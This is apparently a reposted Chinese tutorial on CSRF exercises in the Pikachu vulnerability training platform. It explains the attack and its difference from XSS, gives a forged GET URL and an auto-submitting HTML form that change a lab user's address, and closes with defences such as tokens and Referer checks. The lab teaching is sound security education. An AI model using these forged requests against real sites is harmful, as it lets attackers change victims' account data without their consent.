Pikachu漏洞練習平台實驗——CSRF(三)


概述

CSRF 是 Cross Site Request Forgery 的 簡稱,中文名為跨域請求偽造

在CSRF的攻擊場景中,攻擊者會偽造一個請求(一般是一個鏈接)

然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,這個攻擊也就完成了

所以CSRF攻擊也被稱為“one click”攻擊

攻擊場景例子

    lucy想要在購物網站上修改購物地址,這個操作是lucy通過瀏覽器向后端發送了請求。這個請求里面包含了lucy的新有貨地址,如果是通過GET提交的,那么會以URL傳參的方式的方式將新的地址提交給后台,類似上圖中的URL,相當於點了鏈接就能修改個人信息

    如果這時候攻擊者想要修改lucy的信息怎么辦?那么他需要取得lucy的賬號,獲得登錄權限。這時候他可以將修改個人信息的請求偽造一下,構造類似下圖中的URL,引誘lucy在登錄狀態下進行點擊,這樣攻擊就成功了。

CSRF攻擊需要條件

    ① 目標網站沒有對修改個人信息修改的請求進行防CSRF處理,導致該請求容易被偽造

因此,判斷一個網站有沒有CSRF漏洞,其實就是判斷對關鍵信息(密碼等)的操作(增刪改)是否容易被偽造

    ② lucy點擊偽造的請求鏈接時有登錄狀態(已經登陸了目標網站),如果lucy沒有登錄,那么即便lucy點擊了鏈接也沒有作用

從CSRF的利用條件來看,CSRF的利用難度會大一些,所以CSRF對應的安全級別低一些

CSRF和XSS的區別

    我們利用XSS可以達到盜取用戶Cookie的目的,那么CSRF的區別在哪?

  • CSRF是借助用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限。目標構造修改個人信息的鏈接,利用lucy在登錄狀態下點擊此鏈接達到修改信息的目的。
  • XSS直接盜取了用戶的權限,然后實施破壞。攻擊者利用XSS盜取了目標的Cookie,登錄lucy的后台,再修改相關信息。

如何確認一個目標站點是否有CSRF漏洞

    對目標站點增刪改查的地方進行標記,並觀察邏輯,判斷請求是否可以偽造。

  • 比如修改管理員賬號時,不需要驗證舊密碼
  • 比如修改敏感信息不需要token驗證

    確認憑證的有效期

  • 雖然退出或關閉了覽器,但Cookie仍然有效,或者Session沒有及時過期,導致CSRF攻擊變得簡單

 

CSRF(get)

    我們看一下Pikachu平台中CSRF(get)這個場景的使用,我們登錄一下,賬號有vince/allen/kobe/grady/kevin/lucy/lili,密碼全部是123456

    登錄成功后可以來到個人中心,可以在這修改個人信息

     我們嘗試修改一下個人信息並提交,同時利用BurpSuite抓包查看修改個人信息的請求內容,我們改一下地址

     從提交的請求來看,后台沒做CSRF token,同時也是通過GET請求來提交修改信息,我們拿到這個,修改一下,然后讓lucy點擊就好,我們構造的URL中把地址add改為hacker。lucy一點擊就修改了地址。

192.168.171.133/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hacker&email=lucy%40pikachu.com&submit=submit

    GET請求修改個人信息,所有的參數都在URL中體現,這種方式使比較好利用的,我們只要能夠偽造出來這個鏈接,把對應的參數內容修改成為我們需要的值,讓帶有登錄態的用戶去點擊就完成了我們的攻擊。

 

CSRF(post)

    如果是POST型的,所有參數在請求體中提交,我們不能通過偽造URL的方式進行攻擊

    這里的攻擊方式跟XSS中POST類型是一樣的,攻擊者可以搭建一個站點,在站點上做一個表單,誘導lucy點擊這個鏈接,當用戶點擊時,就會自動向存在CSRF的服務器提交POST請求修改個人信息。

攻擊者:192.168.171.129

漏洞服務器:192.168.171.133

    編寫一個post.html頁面,代碼如下所示,本文把此頁面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后啟動 apache 服務

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

    下面把頁面的URL發送給受害者,只要受害者一點擊這個鏈接,就會自動往服務器發送POST請求,修改地址信息

http://192.168.171.129/pikachu/doge_csrf/post.html

 

CSRF(token)

    CSRF的主要問題是敏感操作容易被偽造,我們可以加入Token讓請求不容易被偽造

  • 每次請求,都增加一個隨機碼需要夠隨機,不容易被偽造),后台每次對這個隨機碼進行驗證

    我們進入Pikachu平台的CSRF(token)頁面並登錄,我們可以看一下這個GET請求

     

跟前面比較,這里多了一個Token,如果后台對提交的Token進行了驗證,由於Token是隨機的,我們就無法偽造URL了。

 

防護措施

  • 增加Token驗證(常用做法)
    • 對關鍵操作增加Token參數,token必須隨機,每次都不一樣
  • 關於安全的會話管理(避免會話被利用)
    • 不要在客戶端保存敏感信息(比如身份驗證信息)
    • 退出、關閉瀏覽器時的會話過期機制
    • 設置會話過機制,比如15分鍾無操作,則自動登錄超時
  • 訪問控制安全管理
    • 敏感信息的修改時需要身份進行二次認證,比如修改賬號密碼,需要判斷舊密碼
    • 敏感信息的修改使用POST,而不是GET
    • 通過HTTP頭部中的REFERER來限制原頁面
  • 增加驗證碼
    • 一般在登錄(防暴力破解),也可以用在其他重要信息操作的表單中(需要考慮可用性)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM